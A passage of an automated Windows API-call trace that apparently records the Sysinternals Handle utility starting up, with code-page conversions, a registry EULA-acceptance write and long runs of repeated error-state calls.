!\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0116.621] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0x12f9c0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", lpUsedDefaultChar=0x0) returned 256 [0116.621] GetLastError () returned 0x0 [0116.621] SetLastError (dwErrCode=0x0) [0116.621] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0116.621] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0116.621] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0116.621] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0116.621] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0x12fac0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0116.621] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x100) returned 0x1c1340 [0116.621] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x140010890) returned 0x0 [0116.622] RtlSizeHeap (HeapHandle=0x1a0000, Flags=0x0, MemoryPointer=0x1c1340) returned 0x100 [0116.622] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0116.622] GetProcAddress (hModule=0x76f20000, lpProcName="IsWow64Process") returned 0x76f291d0 [0116.622] GetCurrentProcess () returned 0xffffffffffffffff [0116.622] IsWow64Process (in: hProcess=0xffffffffffffffff, Wow64Process=0x12fef0 | out: Wow64Process=0x12fef0) returned 1 [0116.622] GetLastError () returned 0x0 [0116.622] SetLastError (dwErrCode=0x0) [0116.622] GetLastError () returned 0x0 [0116.622] SetLastError (dwErrCode=0x0) [0116.622] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Sysinternals", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x0) returned 0x2 [0116.622] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x78) returned 0x0 [0116.623] RegQueryValueExW (in: hKey=0x78, lpValueName="EulaAccepted", lpReserved=0x0, lpType=0x0, lpData=0x12fc40, lpcbData=0x12fc48*=0x4 | out: lpType=0x0, lpData=0x12fc40*=0x0, lpcbData=0x12fc48*=0x4) returned 0x2 [0116.623] RegCloseKey (hKey=0x78) returned 0x0 [0116.623] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals\\Handle", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x78) returned 0x0 [0116.623] RegQueryValueExW (in: hKey=0x78, lpValueName="EulaAccepted", lpReserved=0x0, lpType=0x0, lpData=0x12fc40, lpcbData=0x12fc48*=0x4 | out: lpType=0x0, lpData=0x12fc40*=0x1, lpcbData=0x12fc48*=0x4) returned 0x0 [0116.623] RegCloseKey (hKey=0x78) returned 0x0 [0116.623] GetLastError () returned 0x0 [0116.623] SetLastError (dwErrCode=0x0) [0116.623] GetLastError () returned 0x0 [0116.623] SetLastError (dwErrCode=0x0) [0116.623] RegCreateKeyW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals\\Handle", phkResult=0x12fc38 | out: phkResult=0x12fc38*=0x78) returned 0x0 [0116.623] RegSetValueExW (in: hKey=0x78, lpValueName="EulaAccepted", Reserved=0x0, dwType=0x4, lpData=0x12fc30*=0x1, cbData=0x4 | out: lpData=0x12fc30*=0x1) returned 0x0 [0116.623] RegCloseKey (hKey=0x78) returned 0x0 [0116.623] GetLastError () returned 0x0 [0116.623] SetLastError (dwErrCode=0x0) [0116.624] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x0, Size=0x1000) returned 0x1c2450 [0116.624] GetLastError () returned 0x0 [0116.624] SetLastError (dwErrCode=0x0) [0116.624] GetLastError () returned 0x0 [0116.624] SetLastError (dwErrCode=0x0) [0116.624] GetLastError () returned 0x0 [0116.624] SetLastError (dwErrCode=0x0) [0116.624] GetLastError () returned 0x0 [0116.624] SetLastError (dwErrCode=0x0) [0116.624] GetLastError () returned 0x0 [0116.624] SetLastError (dwErrCode=0x0) [0116.624] GetLastError () returned 0x0 [0116.624] SetLastError (dwErrCode=0x0) [0116.624] GetLastError () returned 0x0 [0116.624] SetLastError (dwErrCode=0x0) [0116.624] GetLastError () returned 0x0 [0116.624] SetLastError (dwErrCode=0x0) [0116.624] GetLastError () returned 0x0 [0116.624] SetLastError (dwErrCode=0x0) [0116.624] GetLastError () returned 0x0 [0116.624] SetLastError (dwErrCode=0x0) [0116.624] GetLastError () returned 0x0 [0116.624] SetLastError (dwErrCode=0x0) [0116.624] GetLastError () returned 0x0 [0116.624] SetLastError (dwErrCode=0x0) [0116.625] GetLastError () returned 0x0 [0116.625] SetLastError (dwErrCode=0x0) [0116.625] GetLastError () returned 0x0 [0116.625] SetLastError (dwErrCode=0x0) [0116.625] GetLastError () returned 0x0 [0116.625] SetLastError (dwErrCode=0x0) [0116.625] GetLastError () returned 0x0 [0116.625] SetLastError (dwErrCode=0x0) [0116.625] GetLastError () returned 0x0 [0116.625] SetLastError (dwErrCode=0x0) [0116.625] GetLastError () returned 0x0 [0116.625] SetLastError (dwErrCode=0x0) [0116.625] GetLastError () returned 0x0 [0116.625] SetLastError (dwErrCode=0x0) [0116.625] GetLastError () returned 0x0 [0116.625] SetLastError (dwErrCode=0x0) [0116.625] GetLastError () returned 0x0 [0116.625] SetLastError (dwErrCode=0x0) [0116.625] GetLastError () returned 0x0 [0116.625] SetLastError (dwErrCode=0x0) [0116.625] GetLastError () returned 0x0 [0116.625] SetLastError (dwErrCode=0x0) [0116.625] GetLastError () returned 0x0 [0116.625] SetLastError (dwErrCode=0x0) [0116.625] GetLastError () returned 0x0 [0116.625] SetLastError (dwErrCode=0x0) [0116.625] GetLastError () returned 0x0 [0116.625] SetLastError (dwErrCode=0x0) [0116.625] GetLastError () returned 0x0 [0116.625] SetLastError (dwErrCode=0x0) [0116.626] GetLastError () returned 0x0 [0116.626] SetLastError (dwErrCode=0x0) [0116.626] GetLastError () returned 0x0 [0116.626] SetLastError (dwErrCode=0x0) [0116.626] GetLastError () returned 0x0 [0116.626] SetLastError (dwErrCode=0x0) [0116.626] GetLastError () returned 0x0 [0116.626] SetLastError (dwErrCode=0x0) [0116.626] GetLastError () returned 0x0 [0116.626] SetLastError (dwErrCode=0x0) [0116.626] GetLastError () returned 0x0 [0116.626] SetLastError (dwErrCode=0x0) [0116.626] GetLastError () returned 0x0 [0116.626] SetLastError (dwErrCode=0x0) [0116.626] GetLastError () returned 0x0 [0116.626] SetLastError (dwErrCode=0x0) [0116.626] GetLastError () returned 0x0 [0116.626] SetLastError (dwErrCode=0x0) [0116.626] GetLastError () returned 0x0 [0116.626] SetLastError (dwErrCode=0x0) [0116.626] GetLastError () returned 0x0 [0116.626] SetLastError (dwErrCode=0x0) [0116.626] GetLastError () returned 0x0 [0116.627] SetLastError (dwErrCode=0x0) [0116.627] GetLastError () returned 0x0 [0116.627] SetLastError (dwErrCode=0x0) [0116.627] GetLastError () returned 0x0 [0116.627] SetLastError (dwErrCode=0x0) [0116.627] GetLastError () returned 0x0 [0116.627] SetLastError (dwErrCode=0x0) [0116.627] GetLastError () returned 0x0 [0116.627] SetLastError (dwErrCode=0x0) [0116.627] GetLastError () returned 0x0 [0116.627] SetLastError (dwErrCode=0x0) [0116.627] GetLastError () returned 0x0 [0116.627] SetLastError (dwErrCode=0x0) [0116.627] GetLastError () returned 0x0 [0116.627] SetLastError (dwErrCode=0x0) [0116.627] GetLastError () returned 0x0 [0116.627] SetLastError (dwErrCode=0x0) [0116.627] GetLastError () returned 0x0 [0116.627] SetLastError (dwErrCode=0x0) [0116.627] GetLastError () returned 0x0 [0116.627] SetLastError (dwErrCode=0x0) [0116.627] GetLastError () returned 0x0 [0116.627] SetLastError (dwErrCode=0x0) [0116.627] GetLastError () returned 0x0 [0116.627] SetLastError (dwErrCode=0x0) [0116.627] GetLastError () returned 0x0 [0116.627] SetLastError (dwErrCode=0x0) [0116.627] GetLastError () returned 0x0 [0116.627] SetLastError (dwErrCode=0x0) [0116.627] GetLastError () returned 0x0 [0116.627] SetLastError (dwErrCode=0x0) [0116.627] GetLastError () returned 0x0 [0116.628] SetLastError (dwErrCode=0x0) [0116.628] GetLastError () returned 0x0 [0116.628] SetLastError (dwErrCode=0x0) [0116.628] GetLastError () returned 0x0 [0116.628] SetLastError (dwErrCode=0x0) [0116.628] GetLastError () returned 0x0 [0116.628] SetLastError (dwErrCode=0x0) [0116.628] GetLastError () returned 0x0 [0116.628] SetLastError (dwErrCode=0x0) [0116.628] GetLastError () returned 0x0 [0116.628] SetLastError (dwErrCode=0x0) [0116.628] GetLastError () returned 0x0 [0116.628] SetLastError (dwErrCode=0x0) [0116.628] GetLastError () returned 0x0 [0116.628] SetLastError (dwErrCode=0x0) [0116.628] GetLastError () returned 0x0 [0116.628] SetLastError (dwErrCode=0x0) [0116.628] GetLastError () returned 0x0 [0116.628] SetLastError (dwErrCode=0x0) [0116.628] GetLastError () returned 0x0 [0116.628] SetLastError (dwErrCode=0x0) [0116.628] GetLastError () returned 0x0 [0116.628] SetLastError (dwErrCode=0x0) [0116.628] GetLastError () returned 0x0 [0116.628] SetLastError (dwErrCode=0x0) [0116.628] GetLastError () returned 0x0 [0116.628] SetLastError (dwErrCode=0x0) [0116.628] GetLastError () returned 0x0 [0116.628] SetLastError (dwErrCode=0x0) [0116.628] GetLastError () returned 0x0 [0116.628] SetLastError (dwErrCode=0x0) [0116.628] GetLastError () returned 0x0 [0116.628] SetLastError (dwErrCode=0x0) [0116.628] GetLastError () returned 0x0 [0116.629] SetLastError (dwErrCode=0x0) [0116.629] GetLastError () returned 0x0 [0116.629] SetLastError (dwErrCode=0x0) [0116.629] GetLastError () returned 0x0 [0116.629] SetLastError (dwErrCode=0x0) [0116.629] GetLastError () returned 0x0 [0116.629] SetLastError (dwErrCode=0x0) [0116.629] GetLastError () returned 0x0 [0116.629] SetLastError (dwErrCode=0x0) [0116.629] GetLastError () returned 0x0 [0116.629] SetLastError (dwErrCode=0x0) [0116.629] GetLastError () returned 0x0 [0116.629] SetLastError (dwErrCode=0x0) [0116.629] GetLastError () returned 0x0 [0116.629] SetLastError (dwErrCode=0x0) [0116.629] GetLastError () returned 0x0 [0116.629] SetLastError (dwErrCode=0x0) [0116.629] GetLastError () returned 0x0 [0116.629] SetLastError (dwErrCode=0x0) [0116.629] GetLastError () returned 0x0 [0116.629] SetLastError (dwErrCode=0x0) [0116.629] GetLastError () returned 0x0 [0116.629] SetLastError (dwErrCode=0x0) [0116.629] GetLastError () returned 0x0 [0116.629] SetLastError (dwErrCode=0x0) [0116.629] GetLastError () returned 0x0 [0116.629] SetLastError (dwErrCode=0x0) [0116.629] GetLastError () returned 0x0 [0116.629] SetLastError (dwErrCode=0x0) [0116.629] GetLastError () returned 0x0 [0116.630] SetLastError (dwErrCode=0x0) [0116.630] GetLastError () returned 0x0 [0116.630] SetLastError (dwErrCode=0x0) [0116.630] GetLastError () returned 0x0 [0116.630] SetLastError (dwErrCode=0x0) [0116.630] GetLastError () returned 0x0 [0116.630] SetLastError (dwErrCode=0x0) [0116.630] GetLastError () returned 0x0 [0116.630] SetLastError (dwErrCode=0x0) [0116.630] GetLastError () returned 0x0 [0116.630] SetLastError (dwErrCode=0x0) [0116.630] GetLastError () returned 0x0 [0116.630] SetLastError (dwErrCode=0x0) [0116.630] GetLastError () returned 0x0 [0116.630] SetLastError (dwErrCode=0x0) [0116.630] GetLastError () returned 0x0 [0116.630] SetLastError (dwErrCode=0x0) [0116.630] GetLastError () returned 0x0 [0116.630] SetLastError (dwErrCode=0x0) [0116.630] GetLastError () returned 0x0 [0116.630] SetLastError (dwErrCode=0x0) [0116.630] GetLastError () returned 0x0 [0116.630] SetLastError (dwErrCode=0x0) [0116.630] GetLastError () returned 0x0 [0116.630] SetLastError (dwErrCode=0x0) [0116.630] GetLastError () returned 0x0 [0116.630] SetLastError (dwErrCode=0x0) [0116.630] GetLastError () returned 0x0 [0116.630] SetLastError (dwErrCode=0x0) [0116.630] GetLastError () returned 0x0 [0116.630] SetLastError (dwErrCode=0x0) [0116.630] GetLastError () returned 0x0 [0116.631] SetLastError (dwErrCode=0x0) [0116.631] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12e2b4 | out: lpMode=0x12e2b4) returned 1 [0116.631] WriteFile (in: hFile=0x7, lpBuffer=0x12e980*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0x12e2a0, lpOverlapped=0x0 | out: lpBuffer=0x12e980*, lpNumberOfBytesWritten=0x12e2a0*=0x65, lpOverlapped=0x0) returned 1 [0116.632] GetLastError () returned 0x0 [0116.632] SetLastError (dwErrCode=0x0) [0116.632] GetLastError () returned 0x0 [0116.632] SetLastError (dwErrCode=0x0) [0116.632] GetLastError () returned 0x0 [0116.632] SetLastError (dwErrCode=0x0) [0116.632] GetLastError () returned 0x0 [0116.632] SetLastError (dwErrCode=0x0) [0116.632] GetLastError () returned 0x0 [0116.633] SetLastError (dwErrCode=0x0) [0116.633] GetLastError () returned 0x0 [0116.633] SetLastError (dwErrCode=0x0) [0116.633] GetLastError () returned 0x0 [0116.633] SetLastError (dwErrCode=0x0) [0116.633] GetLastError () returned 0x0 [0116.633] SetLastError (dwErrCode=0x0) [0116.633] GetLastError () returned 0x0 [0116.633] SetLastError (dwErrCode=0x0) [0116.633] GetLastError () returned 0x0 [0116.633] SetLastError (dwErrCode=0x0) [0116.633] GetLastError () returned 0x0 [0116.633] SetLastError (dwErrCode=0x0) [0116.633] GetLastError () returned 0x0 [0116.633] SetLastError (dwErrCode=0x0) [0116.633] GetLastError () returned 0x0 [0116.633] SetLastError (dwErrCode=0x0) [0116.633] GetLastError () returned 0x0 [0116.633] SetLastError (dwErrCode=0x0) [0116.633] GetLastError () returned 0x0 [0116.633] SetLastError (dwErrCode=0x0) [0116.633] GetLastError () returned 0x0 [0116.633] SetLastError (dwErrCode=0x0) [0116.633] GetLastError () returned 0x0 [0116.633] SetLastError (dwErrCode=0x0) [0116.633] GetLastError () returned 0x0 [0116.633] SetLastError (dwErrCode=0x0) [0116.633] GetLastError () returned 0x0 [0116.633] SetLastError (dwErrCode=0x0) [0116.633] GetLastError () returned 0x0 [0116.633] SetLastError (dwErrCode=0x0) [0116.634] GetLastError () returned 0x0 [0116.634] SetLastError (dwErrCode=0x0) [0116.634] GetLastError () returned 0x0 [0116.634] SetLastError (dwErrCode=0x0) [0116.634] GetLastError () returned 0x0 [0116.634] SetLastError (dwErrCode=0x0) [0116.634] GetLastError () returned 0x0 [0116.634] SetLastError (dwErrCode=0x0) [0116.634] GetLastError () returned 0x0 [0116.634] SetLastError (dwErrCode=0x0) [0116.634] GetLastError () returned 0x0 [0116.634] SetLastError (dwErrCode=0x0) [0116.634] GetLastError () returned 0x0 [0116.634] SetLastError (dwErrCode=0x0) [0116.634] GetLastError () returned 0x0 [0116.634] SetLastError (dwErrCode=0x0) [0116.634] GetLastError () returned 0x0 [0116.634] SetLastError (dwErrCode=0x0) [0116.634] GetLastError () returned 0x0 [0116.634] SetLastError (dwErrCode=0x0) [0116.634] GetLastError () returned 0x0 [0116.634] SetLastError (dwErrCode=0x0) [0116.634] GetLastError () returned 0x0 [0116.634] SetLastError (dwErrCode=0x0) [0116.634] GetLastError () returned 0x0 [0116.634] SetLastError (dwErrCode=0x0) [0116.634] GetLastError () returned 0x0 [0116.634] SetLastError (dwErrCode=0x0) [0116.634] GetLastError () returned 0x0 [0116.634] SetLastError (dwErrCode=0x0) [0116.634] GetLastError () returned 0x0 [0116.635] SetLastError (dwErrCode=0x0) [0116.635] GetLastError () returned 0x0 [0116.635] SetLastError (dwErrCode=0x0) [0116.635] GetLastError () returned 0x0 [0116.635] SetLastError (dwErrCode=0x0) [0116.635] GetLastError () returned 0x0 [0116.635] SetLastError (dwErrCode=0x0) [0116.635] GetLastError () returned 0x0 [0116.635] SetLastError (dwErrCode=0x0) [0116.635] GetLastError () returned 0x0 [0116.635] SetLastError (dwErrCode=0x0) [0116.635] GetLastError () returned 0x0 [0116.635] SetLastError (dwErrCode=0x0) [0116.635] GetLastError () returned 0x0 [0116.635] SetLastError (dwErrCode=0x0) [0116.635] GetLastError () returned 0x0 [0116.635] SetLastError (dwErrCode=0x0) [0116.635] GetLastError () returned 0x0 [0116.635] SetLastError (dwErrCode=0x0) [0116.635] GetLastError () returned 0x0 [0116.635] SetLastError (dwErrCode=0x0) [0116.635] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12e2b4 | out: lpMode=0x12e2b4) returned 1 [0116.635] WriteFile (in: hFile=0x7, lpBuffer=0x12e980*, nNumberOfBytesToWrite=0x2c, lpNumberOfBytesWritten=0x12e2a0, lpOverlapped=0x0 | out: lpBuffer=0x12e980*, lpNumberOfBytesWritten=0x12e2a0*=0x2c, lpOverlapped=0x0) returned 1 [0116.637] GetLastError () returned 0x0 [0116.637] SetLastError (dwErrCode=0x0) [0116.637] GetLastError () returned 0x0 [0116.637] SetLastError (dwErrCode=0x0) [0116.637] GetLastError () returned 0x0 [0116.637] SetLastError (dwErrCode=0x0) [0116.637] GetLastError () returned 0x0 [0116.637] SetLastError (dwErrCode=0x0) [0116.637] GetLastError () returned 0x0 [0116.637] SetLastError (dwErrCode=0x0) [0116.637] GetLastError () returned 0x0 [0116.637] SetLastError (dwErrCode=0x0) [0116.637] GetLastError () returned 0x0 [0116.637] SetLastError (dwErrCode=0x0) [0116.637] GetLastError () returned 0x0 [0116.637] SetLastError (dwErrCode=0x0) [0116.637] GetLastError () returned 0x0 [0116.637] SetLastError (dwErrCode=0x0) [0116.637] GetLastError () returned 0x0 [0116.637] SetLastError (dwErrCode=0x0) [0116.637] GetLastError () returned 0x0 [0116.637] SetLastError (dwErrCode=0x0) [0116.637] GetLastError () returned 0x0 [0116.637] SetLastError (dwErrCode=0x0) [0116.637] GetLastError () returned 0x0 [0116.637] SetLastError (dwErrCode=0x0) [0116.637] GetLastError () returned 0x0 [0116.637] SetLastError (dwErrCode=0x0) [0116.637] GetLastError () returned 0x0 [0116.638] SetLastError (dwErrCode=0x0) [0116.638] GetLastError () returned 0x0 [0116.638] SetLastError (dwErrCode=0x0) [0116.638] GetLastError () returned 0x0 [0116.638] SetLastError (dwErrCode=0x0) [0116.638] GetLastError () returned 0x0 [0116.638] SetLastError (dwErrCode=0x0) [0116.638] GetLastError () returned 0x0 [0116.638] SetLastError (dwErrCode=0x0) [0116.638] GetLastError () returned 0x0 [0116.638] SetLastError (dwErrCode=0x0) [0116.638] GetLastError () returned 0x0 [0116.638] SetLastError (dwErrCode=0x0) [0116.638] GetLastError () returned 0x0 [0116.638] SetLastError (dwErrCode=0x0) [0116.638] GetLastError () returned 0x0 [0116.638] SetLastError (dwErrCode=0x0) [0116.638] GetLastError () returned 0x0 [0116.638] SetLastError (dwErrCode=0x0) [0116.638] GetLastError () returned 0x0 [0116.638] SetLastError (dwErrCode=0x0) [0116.638] GetLastError () returned 0x0 [0116.638] SetLastError (dwErrCode=0x0) [0116.638] GetLastError () returned 0x0 [0116.638] SetLastError (dwErrCode=0x0) [0116.638] GetLastError () returned 0x0 [0116.638] SetLastError (dwErrCode=0x0) [0116.638] GetLastError () returned 0x0 [0116.638] SetLastError (dwErrCode=0x0) [0116.638] GetLastError () returned 0x0 [0116.638] SetLastError (dwErrCode=0x0) [0116.638] GetLastError () returned 0x0 [0116.639] SetLastError (dwErrCode=0x0) [0116.639] GetLastError () returned 0x0 [0116.639] SetLastError (dwErrCode=0x0) [0116.639] GetLastError () returned 0x0 [0116.639] SetLastError (dwErrCode=0x0) [0116.639] GetLastError () returned 0x0 [0116.639] SetLastError (dwErrCode=0x0) [0116.639] GetLastError () returned 0x0 [0116.639] SetLastError (dwErrCode=0x0) [0116.639] GetLastError () returned 0x0 [0116.639] SetLastError (dwErrCode=0x0) [0116.639] GetLastError () returned 0x0 [0116.639] SetLastError (dwErrCode=0x0) [0116.639] GetLastError () returned 0x0 [0116.639] SetLastError (dwErrCode=0x0) [0116.639] GetLastError () returned 0x0 [0116.639] SetLastError (dwErrCode=0x0) [0116.639] GetLastError () returned 0x0 [0116.639] SetLastError (dwErrCode=0x0) [0116.639] GetLastError () returned 0x0 